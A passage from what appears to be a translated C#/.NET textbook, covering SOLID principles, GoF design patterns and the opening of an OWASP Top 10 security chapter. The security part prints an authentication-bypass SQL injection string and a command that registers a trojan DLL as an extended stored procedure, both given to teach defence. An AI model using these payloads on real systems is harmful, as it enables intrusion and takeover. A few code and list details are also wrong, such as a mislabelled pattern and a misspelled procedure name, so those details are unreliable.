这个原则建议的这种分离也适用于第一原则,因为现在,这个类的责任集中在使用这个实现的一组客户端上。

另一方面,我们将创建一个新的类SportsCarWithN(带通知的跑车),它继承自SportsCar,但增加了奔驰(或任何其他决定在未来这样做品牌)所需的功能:

public class SportsCarWithN : SportsCar, ISportCar
{
  public SportsCarWithN(string brand): base(brand) {}
  public new bool Accelerate()
  {
    base.Accelerate();
    bool speedExceeded = Speed + SpeedIncr > MaxSpeed;
    if (speedExceeded && (SpeedLimit!= null))
    {
      SpeedLimitData data = new SpeedLimitData()
      {
        moment = DateTime.Now,
        resultingSpeed = Speed + SpeedIncr
      };
      SpeedLimit(this, data);
    }
    Speed = (speedExceeded) ? Speed : Speed + SpeedIncr;
    return speedExceeded;
  }
  public event EventHandler SpeedLimit;
}

以这种方式,层次结构中的每个部分都负责自己的职责。任何从SportCarWithN继承的汽车都将具有额外的功能,而其他汽车将以标准方式运行。

在用户界面中,事情也变得简单。现在,我们声明theCar的类型为ISportCar,并在执行时决定调用哪个构造函数:

ISportCar theCar;
private void cboPickUpCar_SelectedIndexChanged(object sender, EventArgs e)
{
  if (cboPickUpCar.Text == "Mercedes")
  {
    theCar = new SportsCarWithN("Mercedes");
    // subscription to SpeedLimit depends on type
    ((SportsCarWithN)theCar).SpeedLimit += TheCar_SpeedLimit;
  }
  else
  {
    theCar = new SportsCar(cboPickUpCar.Text);
  }
  theCar.LegalLimitCondition += TheCar_LegalLimitCondition;
  // refresh car's properties
  txtMaxSpeed.Text = theCar.MaxSpeed.ToString();
  pbPhoto.Image = theCar.Photo;
  updateUI();
}

btnAccelerate_Click事件处理程序也被简化了,因为每个ISportCar实例都知道如何调用底层模型中的适当方法:

private void btnAccelerate_Click(object sender, EventArgs e)
{
  theCar.Accelerate();
  updateUI();
}

现在,在运行时,只有 Mercedes 品牌接收两个通知,而其他品牌只收到LegalLimitCondition事件。

你可以在 Demo-ISP 中检查结果,并查看两种类型的条件。

依赖倒置原则

SOLID 原则的最后一项基于两个陈述,维基百科以这种形式陈述:

  • 高级模块不应依赖于低级模块。两者都应依赖于抽象

  • 抽象不应依赖于细节。细节应依赖于抽象

至于第一个陈述,我们应该澄清我们对高级和低级模块的理解。这个术语与模块执行的动作的重要性有关。

让我们简单地说:如果一个模块包含Customers类的业务逻辑,而另一个包含Customers类在报告中使用的列表格式,那么第一个模块将是高级的,而第二个将是低级的。

第二个陈述不言自明。如果一个抽象依赖于细节,那么作为定义合同的用法就会受到损害。

在我们的样本中,我们仍然有一些代码不会适当地增长:SportsCar创建方法在很大程度上依赖于用户在 ComboBox 中输入的内容。有几种情况可能会显示出这种不便:在品牌选择过程中输入错误的名字、添加未来的新品牌等。UI 中有些样板代码我们可以改进。

样本的最终版本

不假装这个样本(在任何方面)是完美的,创建过程可以从 UI 中提取并委托给另一个类(CarFactory),该类将负责根据品牌调用适当的构造函数。(我们将看到这种技术实际上是通过我们稍后将要学习的设计模式之一来实现的。)

这样,调用适当构造函数的责任就在CarFactory,并且可以更容易地添加额外的品牌。

此外,我们的SportsCar类现在将专门负责其状态和与状态相关的业务逻辑,而不是Photo关联或MaxSpeed值的细节,这些似乎适合工厂。

因此,我们现在将有一个新的类(位于与SportsCar文件相同的文件中),包含这些细节:

public class CarFactory
{
  SportsCar carInstance;
  public SportsCar CreateCar(string car)
  {
    switch (car)
    {
      case "Ferrari":
        carInstance = new SportsCar(car);
        carInstance.MaxSpeed = 230;
        carInstance.Photo = Properties.Resources.BMW;
        break;
      case "BMW":
        carInstance = new SportsCar(car);
        carInstance.MaxSpeed = 180;
        carInstance.Photo = Properties.Resources.BMW;
        break;
      case "Mercedes":
        carInstance = new SportsCarWithN(car);
        carInstance.MaxSpeed = 200;
        carInstance.Photo = Properties.Resources.Mercedes;
        break;
      default:
        break;
    }
    return carInstance;
  }
}

在这个新版本中,SportsCar类被简化到最小:它声明了常量、事件、状态(属性)以及唯一需要的操作(Accelerate)。其余的由CarFactory类负责。

在创建方法中,用户界面也得到了简化,因为它不需要知道用户选择了哪个品牌才能调用任一构造函数;它只是调用CarFactory内部的构造函数,并检查过程的结果,以便分配显示汽车通知所需的事件处理程序:

private void cboPickUpCar_SelectedIndexChanged(object sender, EventArgs e)
{
  var factory = new CarFactory();
  theCar = factory.CreateCar(cboPickUpCar.Text);
  // Event common to all cars
  theCar.LegalLimitCondition += TheCar_LegalLimitCondition;
  // Event specific to cars of type SportsCarWithN
  if (theCar is SportsCarWithN) {
    ((SportsCarWithN)theCar).SpeedLimit += TheCar_SpeedLimit;
  }
  // refresh car's properties
  txtMaxSpeed.Text = theCar.MaxSpeed.ToString();
  pbPhoto.Image = theCar.Photo;
  updateUI();
}

运行时行为与之前相同。不同的是,通过这种组件解耦,维护和扩展变得更加容易。

让我们假设发生了一个变化,应用程序现在必须处理一种新的品牌:福特,它也包含SpeedLimit通知。

唯一需要做的工作是添加一张福特(福特 GT,不要影响其他案例…)的图片,并调整CarFactory以添加新的案例结构和其值:

case"Ford":
  carInstance = new SportsCarWithN(car);
  carInstance.MaxSpeed = 210;
  carInstance.Photo = Properties.Resources.Ford;
  break;

在 UI 中,只需要做一件事:将新的Ford字符串添加到选择 ComboBox 中,它就准备好了。现在,我们将提供新的品牌,当我们选择它时,行为将如预期:

样本的最终版本

一般而言,DIP 原则可以通过许多方式导致解决方案。其中之一是通过依赖注入容器,这是一个组件,它提供给你一些代码,在需要时注入它。

一些流行的 C#依赖注入容器包括 Unity 和 Ninject,仅举两个例子。在代码中,你指导这个组件注册你的应用程序的某些类;因此,当后来你需要其中一个类的实例时,它会被自动提供给你的代码。

其他框架也实现了这个原则,即使它们不是纯粹面向对象的。AngularJS 就是这种情况,当你创建一个需要访问服务的控制器时,你会在控制器函数声明中请求该服务,Angular 的内部依赖注入系统会提供一个服务的单例实例,而不需要客户端代码的干预。

设计模式

正如我们所说的,SOLID 原则超越了任何特定于如何解决某个编码问题的考虑,甚至超越了语言或范式。然而,在罗伯特·马丁定义这些原则之前,已经存在一些与编码和应用程序结构化的非常不同方面的模式。

在现实生活中,一个类可以使用一个或多个模式,使其边界变得模糊。此外,你可以开始使用一个简单的模式,并根据应用程序的需求逐步发展到更复杂的模式。

1995 年,埃里克·伽玛、理查德·赫尔姆、拉尔夫·约翰逊和约翰·弗利斯(从那时起,简称为四人帮GoF)出版了一本书,这本书一直是一个参考点:设计模式:可重用面向对象软件元素

作者分析了总共 23 种适用于不同编码场景的设计模式,以解决不同的编码问题。

他们将 23 种模式分为三类:

  • 创建型模式:它包括以下模式:

    • 抽象工厂

    • 构建器模式

    • 工厂模式

    • 原型模式

    • 单例模式

  • 结构型模式:它由以下模式组成:

    • 适配器模式

    • 桥接模式

    • 组合模式

    • 装饰者模式

    • 门面模式

    • 享元模式

    • 代理模式

  • 行为模式:它由以下模式组成:

    • 责任链模式

    • 命令模式

    • 解释器模式

    • 迭代器模式

    • 中介者模式

    • 原型模式

    • 观察者模式

    • 状态模式

    • 策略模式

    • 模板方法

    • 访问者模式

显然,所有这些模式都在本章中有很多内容要介绍,即使是以浅显的方式,但我们将重点关注最常用的模式,并解释它们的优点和 C#编程:

设计模式

.NET 框架本身包含,包括其他模式:单例、策略、工厂、构建器、装饰者以及在不同命名空间中的其他几个模式。

互联网上有许多关于 GoF 模式使用的统计报告。显然,这并不是因为普遍接受而使用这个或那个模式的问题。相反,使用它们的理由是基于这些模式提供的利益,以改善应用程序的质量。

话虽如此,我将简要回顾其中的一些,以便给你一个关于它们解决特定问题可能性的概念。然而,似乎存在一种共识,即以下八种模式是最常用的:

  • 构建模式:单例和工厂模式

  • 结构型模式:适配器、装饰者和门面模式

  • 行为模式:命令、观察者和策略

注意,一些模式,如迭代器,没有包括在这里,只是因为它们已经在大多数集合库中存在(例如在.NET 中的System.CollectionsSystem.Collections.Generic命名空间中)。另一个典型的情况是抽象工厂,它在 ADO.NET 中广泛使用。

让我们从最常见(也是最被诟病的)模式开始:单例。

单例

单例模式防止创建一个类的多个实例。它是最受欢迎的模式,因为它的实现需要在各种情况下,以及许多不同的语言中(包括非编译语言,如 JavaScript)。

同时,它也是因为模式在许多情况下被滥用而受到普遍诟病,在这些情况下,其他模式可能更受欢迎,甚至根本不需要模式(更不用说在单元测试中包含它时有时出现的困难)。

应该如何编码需要以下要求:

  • 类应该负责创建唯一实例

  • 唯一实例必须通过类中的方法访问

  • 构造函数应该是私有的,以避免直接实例化

要在我们的示例中应用此模式,我们可以想象一个新的需求:例如,想象用户界面要求从当前主窗口或其他未来的窗口中,提供一些用户信息,显示用户姓名和选择汽车时的日期/时间。

新类的外形应该反映模式和所需值:

public class UserInfoSingleton
{
  // A static variable for the instance, requires a lambda function,
  // since the constructor is private.
  private static readonly Lazy<UserInfoSingleton> instance =
  new Lazy<UserInfoSingleton>(() =>newUserInfoSingleton());

  // Private Constructor to avoid direct instantiation
  private UserInfoSingleton() {
    UserName = System.Environment.UserName;
    CarBuyingTime = DateTime.Now;
  }

  // Property to access the instance
  public static UserInfoSingleton Instance
  {
    get { return instance.Value; }
  }
  private string UserName { get; }
  private DateTime CarBuyingTime { get; }
}

注意,这个类仅用于阅读目的,没有有意义的功能。然而,以这种方式实例化,不可能出现任何重复。将始终存在一组唯一的用户信息。

类的实例存储在私有的静态instance变量中,构造函数是私有的,以避免外部实例化。实际上,除了Instance属性之外的所有成员都是私有的。

你可能还会对课程中的另一个方面感到好奇,那就是instance成员的Lazy<UserInfoSingleton>类型,这保证了实例是线程安全的,因为它实际上只有在被类的客户端使用时才会被实例化。

工厂模式

维基百科对工厂模式的定义是,工厂实际上是一个创建具有公共接口的对象的创建者,而不暴露实例化逻辑

实际上,这就是我们在上次修改示例中所做的,当时我们将实例化分离到了CarFactory类中。

通过这些更改,我们将结果对象的结构分为两部分:

  • CarFactory类根据品牌字段决定结果对象的状态结构(记住,一个类在执行过程中的状态是由其属性在给定时刻所持有的值的集合定义的)。

  • SportsCarSportsCarWithN是行为的实现。每个都针对Speed值的实例实现了不同的行为,并且它们共享相同的状态结构(相同的字段名称和类型)。

在我们的示例中,字段之间存在依赖关系,因为MaxSpeedPhoto直接依赖于Brand,因此它们应该在构造时解决。一般来说,当没有这种类型的依赖时,结构可以更加灵活。

适配器模式

适配器模式是最灵活的之一,它的目的是允许将两个最初未设计为一起工作的组件以最干净的方式集成。

因此,它特别适合我们在必须处理遗留代码时,在这种情况下,修改代码片段相当困难,如果不是不可能的,但我们有包含新功能的要求。

下面的图示显示了实现此目标时,适配器模式所实现的间接路径的常见视觉原型化方式:

适配器模式

如您在图示中看到的,有一个客户端使用某个接口。当原始类需要以最小或没有更改的方式更改或扩展某些行为时,适配器是最受欢迎的解决方案之一。

想象一下,我们有一个列出所有汽车品牌的类,我们无法修改,以下是其代码:

class ShoppingCarsPortal
{
  static void Main(string[] args)
  {
    Console.Title = "Demo of the Adapter Pattern";
    ITarget adapter = new VendorAdapter();
    foreach (string brand in adapter.GetCars())
    {
      Console.WriteLine("Brand: " + brand);
    }
    Console.ReadLine();
  }
}

另一方面,为了获取仍然调用相同 adapter.GetCars() 函数的汽车列表,必须使用一个新的类。这个类名为 ListOfCarsProvider,它包含一个名为 GetListOfCars 的方法:

public class ListOfCarsProvider
{
  public List<string> GetListOfCars()
  {
    List<string> carsList = newList<string>();
    carsList.Add("Ferrari");
    carsList.Add("Mercedes");
    carsList.Add("BMW");
    carsList.Add("Ford");
    return carsList;
  }
}

我们可以定义一个简单的接口 (ITarget),它定义了最终类所需的方法签名:

interface ITarget
{
  List<string> GetCars();
}

下一步是让 VendorAdapter 实现 ITarget。技巧在于我们让 GetCars() 的实现调用 ListOfCarsProvider 中的新汽车列表:

class VendorAdapter : ITarget
{
  public List<string> GetCars()
  {
    ListOfCarsProvider adaptee = new ListOfCarsProvider();
    return adaptee.GetListOfCars();
  }
}

如你所见,我们保留了基类的功能,但允许以新的方式获取可用汽车的列表。我们通过最小的更改提供了一种间接级别。

当然,列表是在运行时获得的,正如预期的那样:

适配器模式

外观模式

在许多情况下,外观模式也是一个有用(并且相当常用)的模式。它相当简单,其主要目的是统一分散在库中不同函数中的过程,通过更简单、更具体的方法集来访问它们。

维基百科收集了一些这个模式的典型用法,例如,当你想要做以下事情时:

  • 使外部库更容易使用

  • 以更易读或更有组织的方式访问库

  • 减少在外部库管理中发现的依赖关系

表示这种结构的图形方案通常以这种方式表示:

外观模式

这意味着外观模式只是位于一组类之间的一层,这些类可以保存在一个更大的库中,或者沿着不同的文件分解。在任何情况下,该模式都允许统一包含在程序集中的功能。

由于只需调用所需的方法,因此不需要接口实现,从而提供业务逻辑。你将在名为 PatternFacade 的演示中找到对应于前面方案的源代码。运行时对此不感兴趣,因为你很容易推断出它是如何工作的。

装饰者模式

装饰者模式在需要向过程添加功能(通常是获取伴随标准实现的额外数据)时经常被使用,但你必须保持当前的行为不变,并且只为某些场景添加新功能。

如果你这么想,这个模式强制执行了开放/封闭原则。主要代码保持不变,但该模式允许功能以受控的方式增长。

这种情况与我们在示例中对 SportsClassWithN 类型的汽车的第一种实现相似。当前主类 (SportsCar) 的功能不应改变。但如果品牌是奔驰(稍后,对于福特品牌也是如此),则需要一些额外的要求。在这种情况下,从基类继承的新类添加了一些行为:

装饰者模式

最后,用户界面决定在运行时实现哪个类,并在异常的情况下,指导事件处理器来处理该异常。

该模式允许(像大多数模式一样)在实现方式上略有变化。

命令模式

命令模式是行为类别中最常用的模式之一。GoF 作者这样定义该模式:将请求封装为一个对象,从而允许你用不同的请求参数化客户端,排队或记录请求,并支持可撤销操作

如同往常,提供了一定程度的间接性。我们不是立即执行调用,而是允许将其排队,这在许多场景中都有很多优点,尤其是在现在,越来越多的实现需要异步处理。

该模式的关键部分是它将调用操作的对象与知道如何执行它的对象解耦。

GoF 作者提出的典型示例是关于经典用户界面中菜单实现的规范:在这种情况下,你可以通过让它们执行相同的行为(例如 MenuItem 和工具栏的按钮)来实现多个用户界面元素以执行相同操作,也就是说,让它们都实现相同的具体 Command 子类。

.NET 中已实现的示例

再次强调,我们可以在 .NET Framework 的多个地方找到命令模式的实现。也许最明显的模式之一就是关闭窗口的简单过程:你可以用四种不同的方式来完成它:

  • 通过点击图标窗口来关闭它

  • 使用窗口菜单(而非用户菜单)并选择关闭

  • 通过按 Ctrl + F4

  • 通过在窗口的一些代码中调用 this.close()

所有的前述方法都会引发命令调用,向窗口发送一个 WM_CLOSE 消息。

注意

你可以在专门的网站 Platform Invoke (www.pinvoke.net/) 上查看窗口可以处理的整个消息列表。

在窗口中调用 this.close() 本身就是一个命令调用。.NET Framework 还会发送这些消息之一,由消息的分派窗口函数来管理。

你可以通过实现 Window.FormClosing 事件来干预这个调用,该事件携带有关要执行命令的信息,并允许通过将 e.Cancel 属性(EventArgs)的值设置为 true 来取消它。

此外,你可以通过检查 e 参数持有的 e.CloseReason 属性来找出引发此事件的原因。

这两种可能性得益于在 .NET Framework 中用于向窗口内部发送 WM_CLOSE 消息的内部机制中实现的命令模式。

注意

我们将在本书的最后一章中讨论.NET 框架的高级特性,以及与平台调用相关的其他技术。

下面的截图总结了我们在初始演示的用户界面中关闭窗口的场景:

在.NET 中已实现的示例

观察者模式

再次,我们发现另一个在.NET 框架中广泛实现的流行模式,用于不同的场景。

MSDN 文档指出,这个模式允许订阅者注册并从提供者接收通知。它适用于任何需要基于推送的通知的场景

为了将模型中的数据与用户界面链接起来,并使用不同的控件(如 DataGridViews、TextBoxes 等)显示它,实现了这个模式的典型用例。当用户执行一个意味着在 UI 中修改显示数据的操作时——比如更新、删除或修改——期望的行为是这些控件自动被告知变化,并可以在 UI 中更新它们。

这个来源建议在.NET 中实现这个模式的步骤:

  • 提供者需要负责向观察者发送通知。它应该是一个实现IObservable<T>接口的类或结构,尽管它的唯一要求是实现IObservable<T>.Subscribe方法。这是客户端观察者调用以接收通知的方法。

  • 观察者是接收提供者通知的对象。在这种情况下,该类应该实现IObserver<T>接口,但它需要实现三个将由提供者调用的方法:

    • IObserver<T>.OnNext,它提供新的或当前的信息

    • IObserver<T>.OnError,它负责通知观察者任何已发生的错误

    • IObserver<T>.OnCompleted,它总是标记通知的结束

  • 如果您考虑这个场景,我们就有了一个发送者和接收者之间的典型通信方案。因此,我们还需要一个通道来传输信息。在这种情况下,我们需要一个机制,允许提供者跟踪观察者。

  • 在.NET 中,这种机制通常分配给System.Collections.Generics.List<T>的一个实例,它负责持有IObserver<T>实现的引用。这是处理无限多个观察者引用的便捷方式。

  • 通常,还有一个对象存储提供者发送给其已订阅观察者的数据。

在实际场景中,这可能会取决于您构建的解决方案:Windows Presentation Foundation 接口正是为了这个目的而实现了可观察集合。甚至其他实现 MVC 范式的机制也能够展示这种行为。

在面向对象编程世界之外的一个著名案例是 AngularJS 框架,它使模型中的每个数据都变得可观察并可链接到用户界面,实现了一个双向绑定架构,使得模型中的任何变化都会自动反映在用户界面上,使用特殊的标记(moustache语法)。

策略模式

策略模式正式定义为定义一组算法的实践,封装每个算法,并使它们可互换。策略允许算法独立于使用它的客户端变化

主要有三个参与者:

  • 负责为所有要管理的算法定义一个公共接口的Strategy(或组合器)组件

  • ConcreteStrategy,它使用策略接口实现算法

  • AContext具有三个角色:它通过ConcreteStrategy对象进行配置,维护对Strategy对象的引用,并且可选地可以定义一个接口,允许策略访问其数据。

在代码中,一个典型的例子可能是在任何集合中必须使用不同的排序策略时,但根据其他情况,你可能希望选择你想要使用的排序算法,例如快速排序、希尔排序或冒泡排序。

你可以定义一个具有负责排序的方法的对象(SortingClass),但根据一个值,实例是从另一个实际的排序方法实例创建的。

以下代码展示了如何使用这个模式。关键在于使用所需算法的不同实例调用SortingClass

SortingStrategy shell = newSortingClass(newShell());
SortingStrategy quick = newSortingClass(newQuickSort());
SortingStrategy bubble = newSortingClass(newBubble());

采用这种方法,用户界面将始终调用同一个排序方法,无论其名称如何,但实际的排序机制将在运行时决定。

其他软件模式

正如我们提到的,总共有 23 个模式与 GoF 小组的原始出版物相关联,但后来,属于三个主要类别的其他模式出现了。甚至定义了一个新的类别:并发模式。

在三个基本类别中,增加的内容如下:

  • 创建型:以下是这个类别的子类型:

    • 多例模式:通过一个单一的全局点集中创建类,并确保实例仅是命名实例。

    • 对象池:提供一个缓存系统以避免昂贵的资源获取(或释放)。它是通过回收任何未使用的对象来做到这一点的。许多专家认为它是连接池和线程池模式的泛化。

    • 资源获取即初始化:维基百科指出,这确保了资源通过绑定到合适的对象的生命周期而被正确释放

  • 结构型:以下是这个类别的子类型:

    • 扩展对象:允许在不更改给定层次结构的情况下向其添加功能。

    • 前端控制器:这与 Web 应用程序设计有关。这是一种将入口点统一到单个节点以处理请求的方法。

    • 标记:这是一个空接口,用于提供将元数据链接到类的方式。

    • 模块:维基百科表示,它旨在将多个相关元素,如类、单例、方法、全局使用等,组合成一个单一的概念实体

    • 双胞胎:一个危险的例子;据一些专家称,这为不支持此特性的语言提供了多重继承的建模。

  • 行为:以下是该类别的子类型:

    • 黑板:这是一个用于人工智能系统的模式,允许合并不同的数据源(参考en.wikipedia.org/wiki/Blackboard_system)。

    • 空对象:这是通过提供一个默认对象来避免空引用的。在 C#中,我们已经看到了它是如何使用不同的运算符(如空合并运算符和空条件运算符,我们在第一章中看到)实现的。

    • 服务:这定义了一组类的常见操作。

    • 规范:以布尔方式重新组合业务逻辑。有大量关于在 C#中实现此模式及其随着语言新版本的改进的文档(en.wikipedia.org/wiki/Specification_pattern)。

  • 并发模式:这些模式是专门设计来处理多线程场景的。以下表格灵感来源于维基百科上关于此主题的实际文档:

    名称 描述
    活动对象 将方法执行与位于其自己的控制线程中的方法调用解耦。目标是使用异步方法调用和调度器来处理请求以引入并发。
    拒绝 只有在对象处于特定状态时才在对象上执行操作。
    绑定属性 结合多个观察者,以强制不同对象中的属性以某种方式同步或协调。
    区块链 一种去中心化的存储数据并同意在默克尔树中处理数据的方式,可选地使用数字签名对任何个人贡献进行签名。
    双重检查锁定 通过首先以不安全的方式测试锁定标准(锁定提示)来减少获取锁的开销;只有在该测试成功后,实际的锁定逻辑才会进行。在某些语言/硬件组合中实现时可能不安全。因此,有时可以将其视为一种反模式。
    基于事件的异步 解决多线程程序中出现的异步模式问题。
    保护挂起 管理在操作可以执行之前需要获取锁并满足预条件的操作。
    Join 通过传递消息提供编写并发、并行和分布式程序的方法。与使用线程和锁相比,这是一个高级编程模型。
    一个线程对资源施加“锁”,防止其他线程访问或修改它。
    消息设计模式(MDP) 允许组件和应用程序之间交换信息(即消息)。
    监视对象 指一个其方法受到互斥性约束的对象,从而防止多个对象同时错误地尝试使用它。
    反应器 为必须同步处理资源提供异步接口。
    读写锁 允许对对象进行并发读取访问,但写入操作需要独占访问。
    调度器 明确控制线程何时可以执行单线程代码。
    线程池 创建多个线程以执行多个任务,这些任务通常组织在一个队列中。通常,任务的数量要多于线程的数量。可以将其视为对象池模式的特殊情况。
    线程特定存储 静态或“全局”内存,它是线程本地的。

此外,请记住,通常,当您使用的框架已经支持该模式时(例如在.NET 框架中发生的情况),通常不需要显式实现一个模式,并且实施实际解决方案时,可能需要不止一个而是多个这些模式才能正确编码。

其他模式

在本章的开头,我们提到有许多不同的模式、指南和最佳实践集是由不同的专家发布的,无论是来自学术环境还是来自企业。

它们也可以应用于不同的编程上下文,以及不同的编程范式:应用程序集成、数据管理、用户界面、应用程序测试(单元或行为测试),等等。它们通常被称为领域特定模式。

在任何情况下,随着技术的演变,模式也在演变。新的模式出现,而一些其他模式的使用频率降低,这仅仅是因为它们所应用的技术或架构也变得不再使用。

一些其他模式,随着技术的发展而得到复兴,例如在“Web 客户端的设计和实现指南”案例中,您可以在msdn.microsoft.com/en-us/library/ff650462.aspx找到。然而,如果我们认为其他模式在目前非常有用,例如数据模式(msdn.microsoft.com/en-us/library/ff648420.aspx),那么您可能会发现它们有些过时,因为它们是在 2003 年发布的,而且从那时起变化了很多,更不用说大数据革命的出现和其他模型和技术了。

因此,首先记住大的原则,当你必须为了你的应用程序应用其中任何一个时,查看可用的模式(经典或新的),因为它们可能为你提供一个可信的、经过验证的解决方案。

摘要

在本章中,我们探讨了软件指南和模式。我们从几年前罗伯特·马丁提出的 SOLID 原则开始,这些原则现在在程序员社区中越来越受欢迎,并且我们可以看到它们在当今使用的绝大多数框架中得到了实现。

我们使用了一个简单的应用程序,随着需求的演变,我们应用了不同的原则或模式来解决这些问题。

最后,我们研究了最常用的八个 GoF 模式(根据统计数据),修订了它们的定义和目的,以便以当前可用的模式列表结束,这些模式是在 GoF 小组发布他们的书籍之后创建和发布的。

在下一章中,我们将处理安全问题,包括在业界广泛采用的新的提议,例如OAuth开放授权)协议。

第十一章。安全

在上一章中,我们看到了一些关于软件设计、设计模式和它们在 .NET 框架中实现或使用方式的广泛应用和使用的原则。

在本章中,我们将研究安全问题和建议;或者构建和部署安全应用程序时应采取的措施。我们还将探讨这些安全问题如何影响 .NET 应用程序。

我们的起点将是 OWASP开放网络应用安全项目)的提案。OWASP 是一个安全倡议,旨在定期提供有关网络安全的最新的信息,包括可能的流量类型,提供关于处理威胁、预防措施等方面的最佳方法。

我们的分析将集中在 OWASP 组织发布的十大安全威胁的定义和预防措施上,以及对于开发者的影响,以及在适用的情况下,这些措施如何在 .NET 框架解决方案中实施。

在本章中,我们将涵盖以下主题:

  • OWASP 创新项目

  • OWASP 前 10 大

  • 注入

  • 破解认证和会话管理

  • 跨站脚本

  • 不安全直接对象引用

  • 安全配置错误

  • 敏感数据泄露

  • 缺少功能级访问控制

  • 跨站请求伪造

  • 使用已知漏洞的组件

  • 无效的重定向和转发。

OWASP 创新项目

OWASP 的官方定义如下:

“开放网络应用安全项目(OWASP)是一个开放的社区,致力于使组织能够开发、购买和维护可信赖的应用程序。”

最初,OWASP 被认为是一套关于安全的全球性指南和建议,由专注于通过使安全可见来提高软件安全性的非营利组织 OWASP.org 集中发布。

它的官方网站可以在 www.owasp.org/index.php/Main_Page 找到,它提供了关于应用安全工具和标准的指南,以及书籍、控件和库,多个安全主题的研究,全球会议,邮件列表以及一系列资源。

OWASP 官方网站宣布自己是一个实体:

“摆脱商业压力”,用他们自己的话说,这使他们能够“提供无偏见、实用、成本效益的信息关于应用安全”。

OWASP Top 10

在之前提到的提案中,所谓的 OWASP Top 10 是全球程序员最需要的。

它的主要目标是帮助开发者识别组织面临的最关键的安全风险。为了帮助完成这项任务,他们发布了一份定期公告,自 2010 年开始发布。当前的更新版本是 2013 年版,尽管他们正在为 2017 年版本工作,但撰写本文时该版本尚未可用。

下面的图形展示了前 10 个漏洞。它假设排序很重要,第一个是最常用或最危险的(在许多情况下两者都是):

OWASP Top 10

此外,请记住,攻击通常可以由不同的步骤组成,每个步骤都使用这些漏洞中的某些(这种情况发生在我们知道的某些最复杂的攻击中)。

在图中,OWASP 解释了一个用例,其中某个行为者获得了对有价值资源的访问权限,以及涉及过程中的元素。不知何故,绝大多数攻击都遵循这个序列图:

OWASP Top 10

正如论文所述,威胁行为者使用的路径可以是简单的,也可以是非常复杂的。通常,它们很难识别和重现。他们建议以下做法:

“为了确定对您组织的风险,您可以评估每个威胁行为者、攻击向量和安全弱点相关的可能性,并将其与对您组织的技术和业务影响的估计相结合。这些因素共同决定了整体风险。”

如果你还记得第十章,设计模式,它与威胁模型有关,也就是说,基本上,这是我们讨论威胁时提到的相同信息。

因此,似乎在安全管理及其应考虑的原则上已经达成共识。

本章将要讨论的前 10 个威胁列表解释了每个漏洞的根源、攻击的典型场景以及推荐的预防措施。我们将回顾它们,并探讨它们如何影响 C#和.NET 程序员。

让我们先引用这十个定义,并将它们作为我们分析的开始点(文档的免费版本可在www.owasp.org找到):

  • A1 - 注入:注入漏洞,如 SQL、OS 和 LDAP 注入,发生在不受信任的数据作为命令或查询的一部分发送到解释器时。攻击者的恶意数据可以欺骗解释器执行未授权的命令或访问数据。

  • A2 - 破解认证和会话管理应用:与应用程序认证和会话管理相关的功能往往没有正确实现,这允许攻击者泄露密码、密钥或会话令牌,或者利用其他实现缺陷来冒充其他用户的身份。

  • A3 - 跨站脚本 (XSS):XSS 漏洞发生在应用程序未经适当验证或转义就将不受信任的数据发送到 Web 浏览器时。XSS 允许攻击者在受害者的浏览器中执行脚本,这可以劫持用户会话、篡改网站或将用户重定向到恶意网站。

  • A4 - 不安全的直接对象引用:直接对象引用发生在开发人员暴露对内部实现对象的引用时,例如文件、目录或数据库键。如果没有访问控制检查或其他保护措施,攻击者可以操纵这些引用以访问未经授权的数据。

  • A5 - 安全配置错误:良好的安全需要为应用程序、框架、应用程序服务器、Web 服务器、数据库服务器和平台定义并部署安全的配置。应定义、实施和维护安全设置,因为默认设置通常是不安全的。此外,软件应保持更新。

  • A6 – 敏感数据泄露:许多 Web 应用程序没有正确保护敏感数据,例如信用卡、税务 ID 和认证凭证。攻击者可能会窃取或修改这些薄弱保护的数据,以进行信用卡欺诈、身份盗窃或其他犯罪。敏感数据应得到额外保护,例如在静态或传输中加密,以及在与其他浏览器交换时采取特殊预防措施。

  • A7 – 缺失的功能级别访问控制:大多数 Web 应用程序在将功能可见于用户界面之前会验证功能级别的访问权限。然而,当每个功能被访问时,应用程序需要在服务器上执行相同的访问控制检查。如果请求未经验证,攻击者将能够伪造请求以未经授权的方式访问功能。

  • A8 - 跨站请求伪造 (CSRF):CSRF 攻击迫使已登录受害者的浏览器发送一个伪造的 HTTP 请求,包括受害者的会话 cookie 和任何其他自动包含的认证信息,到易受攻击的 Web 应用程序。这允许攻击者强制受害者的浏览器生成易受攻击的应用程序认为是从受害者那里发出的合法请求。

  • A9 - 使用已知漏洞的组件:组件,如库、框架和其他软件模块,几乎总是以完全权限运行。如果易受攻击的组件被利用,此类攻击可以导致严重的数据丢失或服务器接管。使用已知漏洞组件的应用程序可能会削弱应用程序的防御,并启用一系列可能的攻击和影响。

  • A10 – 未经验证的跳转和转发:Web 应用程序经常将用户跳转到其他页面和网站,并使用不受信任的数据来确定目标页面。如果没有适当的验证,攻击者可以将受害者重定向到钓鱼或恶意网站,或使用转发来访问未经授权的页面。

正如我们所见,有 10 个不同的区域需要关注,作为程序员,我们应该考虑这些区域,尽管负责构思和规划应用程序的团队也应该从任何软件项目的开始就牢记这些。

因此,让我们来看看 A1 威胁,这是许多程序员眼中所有邪恶的根源:各种形式的注入。

A1 – 注入

注入威胁始终基于用户的输入数据。一个解释器将获取这些信息,并假设将这些数据纳入要执行的句子背后的正常流程中。

因此,关键在于潜在的攻击者应该知道他们试图超越的引擎。然而,A1 提到的三个主要引擎是 SQL、操作系统和 LDAP,其中第一个是最常见的(这也是为什么它是最危险的)。

SQL 注入

SQL 注入可能是其中最广为人知的。它基于 SQL 语言的一些特性:

  • 可以用分号(;)分隔多个句子连接在一起

  • 你可以使用双破折号(--)插入内联注释

  • 程序员不关心用户引入的内容,并将这些内容添加到传递给解释器的字符串中,解释器盲目地执行命令:SQL 注入

正如图中所示,你只需传递句子or 1=1 --即可使其工作。如果最终句子类似于Select [User] from [Users] where [Password] = whatever,尽管你没有包括正确的密码,但由于1 = 1是真的,并且由于双破折号注释,程序员放在其旁边的任何内容都被忽略。因此,你被验证并通过了系统。还有许多其他可能性或变体也是可能的,但它们始终基于相同的思想。风险可能非常大,因为它们甚至可以连接或删除句子,甚至调用存储过程,如xp_cmsShell,它在目标系统中执行句子,从而完全控制它。

在最坏的情况下,它甚至可以在机器中插入一个木马。想象一下,木马被命名为xp_tr.dll,并且它位于我们的C:\temp目录中。我们可以在之前的代码旁边使用这样的句子:

master..sp_addextendedproc 'xp_webserver ', 'c:\temp\xp_tr.dll'—

从那一刻起,我们将使用xp_webserver来调用我们的木马作为存储过程,从而获得其中安装的功能。

预防

